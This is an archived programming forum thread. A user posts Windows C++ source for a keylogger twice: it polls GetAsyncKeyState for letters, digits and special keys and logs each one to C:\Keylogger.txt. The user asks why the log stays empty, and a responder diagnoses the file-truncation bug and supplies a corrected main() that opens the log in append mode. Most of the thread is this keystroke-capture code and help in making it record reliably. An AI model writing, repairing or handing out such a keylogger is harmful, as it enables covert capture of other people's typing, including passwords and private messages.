help.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
#include <iostream>
#include <windows.h>
#include <fstream>

using namespace std;

class everything
{
public:
int numbers();
int numbers1();
int letters();
int others();
};

int main()
{

while(true)
{
everything evr;
evr.letters();
evr.numbers();
evr.numbers1();
evr.others();

Sleep(100);
}

}

int everything::letters()
{

ofstream myfile;
myfile.open("C://Keylogger.txt");

   if(GetAsyncKeyState(0x41))
  {

  myfile << "<a>";
  cout << "<a>";
  Sleep(10);

  }
else if(GetAsyncKeyState(0x42))
  {

  myfile << "<b>";
  cout << "<b>";
  Sleep(10);
  }
  else if(GetAsyncKeyState(0x43))
  {

  myfile << "<c>";
  cout << "<c>";
  Sleep(10);
  }

else if(GetAsyncKeyState(0x44))
  {

  myfile << "<d>";
  cout << "<d>";
  Sleep(10);
  }

else if(GetAsyncKeyState(0x45))
  {

  myfile << "<e>";
  cout << "<e>";
  Sleep(10);
  }

else if(GetAsyncKeyState(0x46))
  {

  myfile << "<f>";
  cout << "<f>";
  Sleep(10);
  }
   else if(GetAsyncKeyState(0x47))
  {

  myfile << "<g>";
  cout << "<g>";
  Sleep(10);
  }
   else if(GetAsyncKeyState(0x48))
  {

  myfile << "<h>";
  cout << "<h>";
  Sleep(10);
  }
   else if(GetAsyncKeyState(0x49))
  {

  myfile << "<i>";
  cout << "<i>";
  Sleep(10);
  }
   else if(GetAsyncKeyState(0x4A))
  {

  myfile << "<j>";
  cout << "<j>";
  Sleep(10);
  }
   else if(GetAsyncKeyState(0x4B))
  {

  myfile << "<k>";
  cout << "<k>";
  Sleep(10);
  }
   else if(GetAsyncKeyState(0x4C))
  {

  myfile << "<l>";
  cout << "<l>";
  Sleep(10);
  }
   else if(GetAsyncKeyState(0x4D))
  {

  myfile << "<m>";
  cout << "<m>";
  Sleep(10);
  }
   else if(GetAsyncKeyState(0x4E))
  {

  myfile << "<n>";
  cout << "<n>";
  Sleep(10);
  }
   else if(GetAsyncKeyState(0x4F))
  {

  myfile << "<o>";
  cout << "<o>";
  Sleep(10);
  }
  else if(GetAsyncKeyState(0x50))
  {

  myfile << "<p>";
  cout << "<p>";
  Sleep(10);
  }
  else if(GetAsyncKeyState(0x51))
  {

  myfile << "<q>";
  cout << "<q>";
  Sleep(10);
  }
  else if(GetAsyncKeyState(0x52))
  {

  myfile << "<r>";
  cout << "<r>";
  Sleep(10);
  }
  else if(GetAsyncKeyState(0x53))
  {

  myfile << "<s>";
  cout << "<s>";
  Sleep(10);
  }
  else if(GetAsyncKeyState(0x54))
  {

  myfile << "<t>";
  cout << "<t>";
  Sleep(10);
  }
  else if(GetAsyncKeyState(0x55))
  {

  myfile << "<u>";
  cout << "<u>";
  Sleep(10);
  }
  else if(GetAsyncKeyState(0x56))
  {

  myfile << "<v>";
  cout << "<v>";
  Sleep(10);
  }
  else if(GetAsyncKeyState(0x57))
  {

  myfile << "<w>";
  cout << "<w>";
  Sleep(10);
  }
  else if(GetAsyncKeyState(0x58))
  {

  myfile << "<x>";
  cout << "<x>";
  Sleep(10);
  }
  else if(GetAsyncKeyState(0x59))
  {

  myfile << "<y>";
  cout << "<y>";
  Sleep(10);
  }
else if(GetAsyncKeyState(0x5A))
  {

  myfile << "<z>";
  cout << "<z>";
  Sleep(10);
  }

}

int everything::numbers()
{
ofstream myfile;
myfile.open("C://Keylogger.txt");

if(GetAsyncKeyState(0x30))
{
    myfile<<"<0>";
    cout<<"<0>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x31))
{
    myfile<<"<1>";
    cout<<"<1>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x32))
{
    myfile<<"<2>";
    cout<<"<2>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x33))
{
    myfile<<"<3>";
    cout<<"<3>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x34))
{
    myfile<<"<4>";
    cout<<"<4>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x35))
{
    myfile<<"<5>";
    cout<<"<5>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x36))
{
    myfile<<"<6>";
    cout<<"<6>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x37))
{
    myfile<<"<7>";
    cout<<"<7>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x38))
{
    myfile<<"<8>";
    cout<<"<8>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x39))
{
    myfile<<"<9>";
    cout<<"<9>";
  Sleep(10);
}

}

int everything::numbers1()
{

ofstream myfile;
myfile.open("C://Keylogger.txt");

if(GetAsyncKeyState(0x60))
{
    myfile<<"<!0>";
    cout<<"<!0>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x61))
{
    myfile<<"<!1>";
    cout<<"<!1>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x62))
{
    myfile<<"<!2>";
    cout<<"<!2>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x63))
{
    myfile<<"<!3>";
    cout<<"<!3>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x64))
{
    myfile<<"<!4>";
    cout<<"<!4>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x65))
{
    myfile<<"<!5>";
    cout<<"<!5>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x66))
{
    myfile<<"<!6>";
    cout<<"<!6>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x67))
{
    myfile<<"<!7>";
    cout<<"<!7>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x68))
{
    myfile<<"<!8>";
    cout<<"<!8>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x69))
{
    myfile<<"<!9>";
    cout<<"<!9>";
  Sleep(10);
}

}
int everything::others()
{

ofstream myfile;
myfile.open("C://Keylogger.txt");

if(GetAsyncKeyState(0x1B))
{
    myfile <<"Escape";
    cout<<"<ESC>";
    Sleep(10);
}
else if(GetAsyncKeyState(0x20))
{
  myfile <<"Space";
  cout<<"<Space>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x14))
{
  myfile <<"Caps Lock";
  cout<<"<Caps Lock>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x0D))
{
  myfile <<"Enter";
  cout<<"<Enter>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x08))
{
  myfile <<"Backspace";
  cout<<"<Backspace>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x12))
{
  myfile <<"Alt";
  cout<<"<Alt>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x10))
{
  myfile <<"Shift";
  cout<<"<Shift>";
  Sleep(10);
}
else if(GetAsyncKeyState(0x11))
{
  myfile <<"Ctrl";
  cout<<"<Ctrl>";
  Sleep(10);
}
else if(GetAsyncKeyState(0xBD))
{
  myfile <<"-";
  cout<<"<->";
  Sleep(10);
}
}

his is my keylogger.(me and a friend without internet).But the problem is that in myfile which i have told to him to go in C://Keylogger.txt
When i go in this file it is created but hasnt the symbol which i used and it is empty,why?
myfile.close();?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
#include <iostream>
#include <windows.h>
#include <fstream>

using namespace std;


class everything
{
public:
int numbers();
int numbers1();
int letters();
int others();
};


int main()
{

while(true)
{
everything evr;
evr.letters();
evr.numbers();
evr.numbers1();
evr.others();

Sleep(100);
}

}



int everything::letters()
{

ofstream myfile;
myfile.open("C://Keylogger.txt");

   if(GetAsyncKeyState(0x41))
  {

      myfile << "<a>";
      cout << "<a>";
      Sleep(10);

  }
 else if(GetAsyncKeyState(0x42))
  {

      myfile << "<b>";
      cout << "<b>";
      Sleep(10);
  }
  else if(GetAsyncKeyState(0x43))
  {

      myfile << "<c>";
      cout << "<c>";
      Sleep(10);
  }

else if(GetAsyncKeyState(0x44))
  {

      myfile << "<d>";
      cout << "<d>";
      Sleep(10);
  }

 else if(GetAsyncKeyState(0x45))
  {

      myfile << "<e>";
      cout << "<e>";
      Sleep(10);
  }

 else if(GetAsyncKeyState(0x46))
  {

      myfile << "<f>";
      cout << "<f>";
      Sleep(10);
  }
   else if(GetAsyncKeyState(0x47))
  {

      myfile << "<g>";
      cout << "<g>";
      Sleep(10);
  }
   else if(GetAsyncKeyState(0x48))
  {

      myfile << "<h>";
      cout << "<h>";
      Sleep(10);
  }
   else if(GetAsyncKeyState(0x49))
  {

      myfile << "<i>";
      cout << "<i>";
      Sleep(10);
  }
   else if(GetAsyncKeyState(0x4A))
  {

      myfile << "<j>";
      cout << "<j>";
      Sleep(10);
  }
   else if(GetAsyncKeyState(0x4B))
  {

      myfile << "<k>";
      cout << "<k>";
      Sleep(10);
  }
   else if(GetAsyncKeyState(0x4C))
  {

      myfile << "<l>";
      cout << "<l>";
      Sleep(10);
  }
   else if(GetAsyncKeyState(0x4D))
  {

      myfile << "<m>";
      cout << "<m>";
      Sleep(10);
  }
   else if(GetAsyncKeyState(0x4E))
  {

      myfile << "<n>";
      cout << "<n>";
      Sleep(10);
  }
   else if(GetAsyncKeyState(0x4F))
  {

      myfile << "<o>";
      cout << "<o>";
      Sleep(10);
  }
  else if(GetAsyncKeyState(0x50))
  {

      myfile << "<p>";
      cout << "<p>";
      Sleep(10);
  }
  else if(GetAsyncKeyState(0x51))
  {

      myfile << "<q>";
      cout << "<q>";
      Sleep(10);
  }
  else if(GetAsyncKeyState(0x52))
  {

      myfile << "<r>";
      cout << "<r>";
      Sleep(10);
  }
  else if(GetAsyncKeyState(0x53))
  {

      myfile << "<s>";
      cout << "<s>";
      Sleep(10);
  }
  else if(GetAsyncKeyState(0x54))
  {

      myfile << "<t>";
      cout << "<t>";
      Sleep(10);
  }
  else if(GetAsyncKeyState(0x55))
  {

      myfile << "<u>";
      cout << "<u>";
      Sleep(10);
  }
  else if(GetAsyncKeyState(0x56))
  {

      myfile << "<v>";
      cout << "<v>";
      Sleep(10);
  }
  else if(GetAsyncKeyState(0x57))
  {

      myfile << "<w>";
      cout << "<w>";
      Sleep(10);
  }
  else if(GetAsyncKeyState(0x58))
  {

      myfile << "<x>";
      cout << "<x>";
      Sleep(10);
  }
  else if(GetAsyncKeyState(0x59))
  {

      myfile << "<y>";
      cout << "<y>";
      Sleep(10);
  }
else if(GetAsyncKeyState(0x5A))
  {

      myfile << "<z>";
      cout << "<z>";
      Sleep(10);
  }
myfile.close();

}

int everything::numbers()
{
ofstream myfile;
myfile.open("C://Keylogger.txt");

if(GetAsyncKeyState(0x30))
{
    myfile<<"<0>";
    cout<<"<0>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x31))
{
    myfile<<"<1>";
    cout<<"<1>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x32))
{
    myfile<<"<2>";
    cout<<"<2>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x33))
{
    myfile<<"<3>";
    cout<<"<3>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x34))
{
    myfile<<"<4>";
    cout<<"<4>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x35))
{
    myfile<<"<5>";
    cout<<"<5>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x36))
{
    myfile<<"<6>";
    cout<<"<6>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x37))
{
    myfile<<"<7>";
    cout<<"<7>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x38))
{
    myfile<<"<8>";
    cout<<"<8>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x39))
{
    myfile<<"<9>";
    cout<<"<9>";
     Sleep(10);
}
myfile.close();
}


int everything::numbers1()
{

ofstream myfile;
myfile.open("C://Keylogger.txt");

if(GetAsyncKeyState(0x60))
{
    myfile<<"<!0>";
    cout<<"<!0>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x61))
{
    myfile<<"<!1>";
    cout<<"<!1>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x62))
{
    myfile<<"<!2>";
    cout<<"<!2>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x63))
{
    myfile<<"<!3>";
    cout<<"<!3>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x64))
{
    myfile<<"<!4>";
    cout<<"<!4>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x65))
{
    myfile<<"<!5>";
    cout<<"<!5>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x66))
{
    myfile<<"<!6>";
    cout<<"<!6>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x67))
{
    myfile<<"<!7>";
    cout<<"<!7>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x68))
{
    myfile<<"<!8>";
    cout<<"<!8>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x69))
{
    myfile<<"<!9>";
    cout<<"<!9>";
     Sleep(10);
}

}
int everything::others()
{

ofstream myfile;
myfile.open("C://Keylogger.txt");

if(GetAsyncKeyState(0x1B))
{
    myfile <<"Escape";
    cout<<"<ESC>";
    Sleep(10);
}
else if(GetAsyncKeyState(0x20))
{
     myfile <<"Space";
     cout<<"<Space>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x14))
{
     myfile <<"Caps Lock";
     cout<<"<Caps Lock>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x0D))
{
     myfile <<"Enter\n";
     cout<<"<Enter>\n";
     Sleep(10);
}
else if(GetAsyncKeyState(0x08))
{
     myfile <<"Backspace";
     cout<<"<Backspace>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x12))
{
     myfile <<"Alt";
     cout<<"<Alt>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x10))
{
     myfile <<"Shift";
     cout<<"<Shift>";
     Sleep(10);
}
else if(GetAsyncKeyState(0x11))
{
     myfile <<"Ctrl";
     cout<<"<Ctrl>";
     Sleep(10);
}
else if(GetAsyncKeyState(0xBD))
{
     myfile <<"-";
     cout<<"<->";
     Sleep(10);
}
myfile.close();
}


Again i went in the file and it was emtpy.why?
I would say check the path because "C://..." looks a bit weird for windows; i.e. I would expect "C:\\...", but you said the file got created by the program right?
Are you seeing any output to cout? (I don't know the win API well enough to know if the if-statements make sense to begin with.)
man run it in your compiler and see,
Please help me,i wanna create this keylogger.
you was right about \\,so i change them but again the same problem,why>/??
Whoa whoa. I don't have time to check what that will do to my computer first, so... No!

Just tell me if you see anything being sent to cout. Also, try deleting the file C://Keylogger.txt before running the program and see if it creates the file for you. If it doesn't you might have the wrong path! (I believe file.open("...") will create a file for you, but you might want to check that along with the Win API if that doesn't work...)
I cant understand you man.what about cout??
can't help me man just 2 minutes?
... cout... You know, your standard output stream, i.e. the screen/terminal/shell (by default.)

Your code is sending key presses to standard output as well as to file.
yes but what should change man?
Really... Do you read the code you post on here?

According to the code (and assuming the Win API stuff is right), if you type "Hello" you should see something like
<H><e><l><l><o>
printed to your standard output (i.e. the command prompt you executed the program in).

Looking back at your code, I would check it again. You're opening the same file a bunch of times and only checking each key once then closing it a bunch of times. Each time you open it again it will go back to the beginning of the file, i.e. overwriting what ever was in it before. Try myfile.open( "...", ios_base::app ); See http://cplusplus.com/reference/iostream/fstream/open/ about flags!
man i cant undestand you,i am sorry.I would appreciate it if you change my program to see what you mean.

thanks.
Open the file stream in main (before the loop) then pass it (by reference) to each function; finally close it after the loop ends. You should also make an exit condition for the loop.

No, I don't feel like re-writing your code. Thanks though?
i am not good in english and i cant understand you.Also if i use files it always rewrite in it,now where is the problem and should use all these?
http://translate.google.com/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int main() {

    ofstream myfile;

    while( true ) { //fix this condition
        //I open and close in the loop here
        //because this program can't terminate normally;
        //nothing below the loop will ever execute!
        //TODO: When you fix the loop condition,
        //consider moving this line above (outside) the while loop...
        myfile.open( "C:\\keys.log", ios_base::app );

        //You don't need "evr";
        //don't define these as member functions.
        //Also, they all now need a parameter (ofstream&).
        letters( myfile );
        numbers( myfile );
        numbers1( myfile );
        others( myfile );

        //TDOD: When you fix the loop condition,
        //consider moving this line below (outside) the while loop...
        myfile.close();
    }

    return 0;
}
Topic archived. No new replies allowed.